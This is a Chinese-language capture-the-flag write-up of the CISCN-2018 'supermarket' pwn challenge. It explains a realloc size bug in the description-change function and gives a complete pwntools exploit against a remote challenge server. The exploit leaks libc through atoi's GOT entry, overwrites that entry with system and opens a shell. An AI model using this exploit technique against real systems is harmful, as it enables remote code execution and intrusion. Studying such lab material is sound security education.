XCTF攻防世界:supermarket
原题:CISCN-2018 : supermarket
题目链接:https://github.com/t3ls/pwn/raw/master/XCTF-adworld/supermarket/supermarket.tar.gz
原理
程序实现了5个功能,添加、删除商品,查看所有商品的信息,改变商品的价格和描述
[email protected]:/tmp$ ./supermarket
# ____ _ _ ___ ____ ____ ___ ____ ____ ____ ____
# | \_/ |__] |___ |__/ |__] |___ |__| | |___
# |___ | |__] |___ | \ | |___ | | |___ |___
#
# Welcome to CyberPeace supermarket!
#
---------menu---------
1. add a commodity
2. del a commodity
3. list commodities
4. Change the price of a commodity
5. Change the description of a commodity
6. exit
your choice>>
第一件事就是逆出每个商品信息存储的数据结构,配合动态调试会容易一些:
00000000 item struc ; (sizeof=0x1C, mappedto_5)
00000000 ; XREF: .bss:ITEM/r
00000000 name db 16 dup(?) ; XREF: ___add+13/r
00000000 ; ___add+C9/w ...
00000010 price dd ?
00000014 desc_size dd ?
00000018 desc_ptr dd ? ; offset
0000001C item ends
0000001C
然后我们再回头找漏洞,这个题的漏洞在修改商品描述的函数中
char *change_desc()
{
int idx; // [esp+8h] [ebp-10h]
int size; // [esp+Ch] [ebp-Ch]
idx = find_name();
if ( idx == -1 )
return (char *)puts("not exist");
for ( size = 0; size <= 0 || size > 256; size = read_int() )
printf("descrip_size:");
if ( ITEM[idx]->desc_size != size )
realloc(ITEM[idx]->desc_ptr, size); // 未更新size
printf("description:");
return cos_read(ITEM[idx]->desc_ptr, ITEM[idx]->desc_size);
}
新输入的size重新调整了堆的大小但是没有更新结构体中的size,而输入的数据大小是根据结构体中的size计算的,所以可以通过溢出修改下一件商品结构体的desc_ptr
指针,实现任意读写;
实现的大概效果就是下面这样的
pwndbg> x/40wx 0x0804c150
0x804c150: 0x00000000 0x00000000 0x00000000 0x00000021 // A
0x804c160: 0x00000032 0x00000000 0x00000000 0x00000000
0x804c170: 0x00000002 0x00000030 0x0804c180 0x00000021 // A desc
0x804c180: 0x00000032 0x00000000 0x00000000 0x00000000
0x804c190: 0x00000000 0x00000000 0x00000000 0x00000021 // B
0x804c1a0: 0x00003636 0x00000000 0x00000000 0x00000000
0x804c1b0: 0x00000003 0x00000020 0x0804c1c0 0x00000031 // B desc
0x804c1c0: 0x00000036 0x00000000 0x00000000 0x00000000
0x804c1d0: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c1e0: 0x00000000 0x00000000 0x00000000 0x00021e19
注意到0x804c174
这个地址存的就是A商品描述字符串的堆块大小,我们修改描述的时候是通过这个字段来判断的,相应的,0x0804c180
就是A的商品描述堆块的地址,所以,通过这一点,我们可以修改0x804c1b8
存储的指针,也就是B的desc_ptr
,实现泄露libc,getshell
exp
from pwn import *
context.update(arch='i386', log_level='debug')
p = remote('111.198.29.45', 38007)
#p = process('./supermarket')
e = ELF('./supermarket')
#l = e.libc
l = ELF('./libc.so.6')
def add(name, price, size, desc):
p.sendlineafter('>>', '1')
p.sendlineafter('name', str(name))
p.sendlineafter('price', str(price))
p.sendlineafter('size', str(size))
p.sendafter('description', str(desc))
def delete(name):
p.sendlineafter('>>', '2')
p.sendlineafter('name', str(name))
def show():
p.sendlineafter('>>', '3')
p.recvuntil('B:')
p.recvuntil('des.')
return p.recvuntil('\n', drop=True)
def change_desc(name, size, desc):
p.sendlineafter('>>', '5')
p.sendlineafter('name', str(name))
p.sendlineafter('size', str(size))
p.sendafter('description', str(desc))
if __name__ == '__main__':
add('A', '1', '256', '\n')
change_desc('A', '8', '\n')
add('B', '1', '16', '\n')
payload = flat(['a'*0xc, 0x21, ord('B'), 'a'*0xc, 0x1, 0x10, e.got['atoi']])
change_desc('A', '256', payload+'\n')
l.address = u32(show()[:4]) - l.symbols['atoi']
print('libc:',hex(l.address))
change_desc('B', '16', p32(l.symbols['system'])+'\n')
p.sendlineafter('>>','/bin/sh\x00')
p.interactive()
版权属于:T3LS
本文链接:https://t3ls.club/index.php/archives/supermarket.html
本作品采用 CC BY-NC-SA 4.0 许可协议 进行许可,请在转载时注明出处及本声明!